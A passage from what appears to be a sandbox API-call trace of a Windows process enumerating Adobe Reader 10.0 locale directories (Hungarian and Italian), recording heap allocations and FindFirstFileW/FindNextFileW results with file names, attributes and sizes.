GetProcessHeap () returned 0x550000 [0220.371] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0220.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HUN", cAlternateFileName="")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HUN", cAlternateFileName="ADOBEC~1.HUN")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HUN", cAlternateFileName="")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HUN", cAlternateFileName="BRDLAN~1.HUN")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HUN", cAlternateFileName="")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.HUN", cAlternateFileName="MAKEAC~1.HUN")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HUN", cAlternateFileName="MULTIM~1.HUN")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x151a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HUN", cAlternateFileName="READOU~1.HUN")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HUN", cAlternateFileName="SAVEAS~1.HUN")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HUN", cAlternateFileName="")) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HUN", cAlternateFileName="")) returned 1 [0220.387] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0220.387] GetProcessHeap () returned 0x550000 [0220.387] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0220.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0220.387] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.387] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0220.387] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0220.387] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0220.387] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0220.388] GetProcessHeap () returned 0x550000 [0220.388] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0220.388] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0220.388] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.HUN", cAlternateFileName="")) returned 1 [0220.388] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 1 [0220.388] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 0 [0220.388] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0220.388] GetProcessHeap () returned 0x550000 [0220.388] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0220.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0220.388] GetProcessHeap () returned 0x550000 [0220.388] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0220.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0221.464] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ITA", cAlternateFileName="ADOBEC~1.ITA")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ITA", cAlternateFileName="BRDLAN~1.ITA")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ITA", cAlternateFileName="")) returned 1 [0221.465] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ITA", 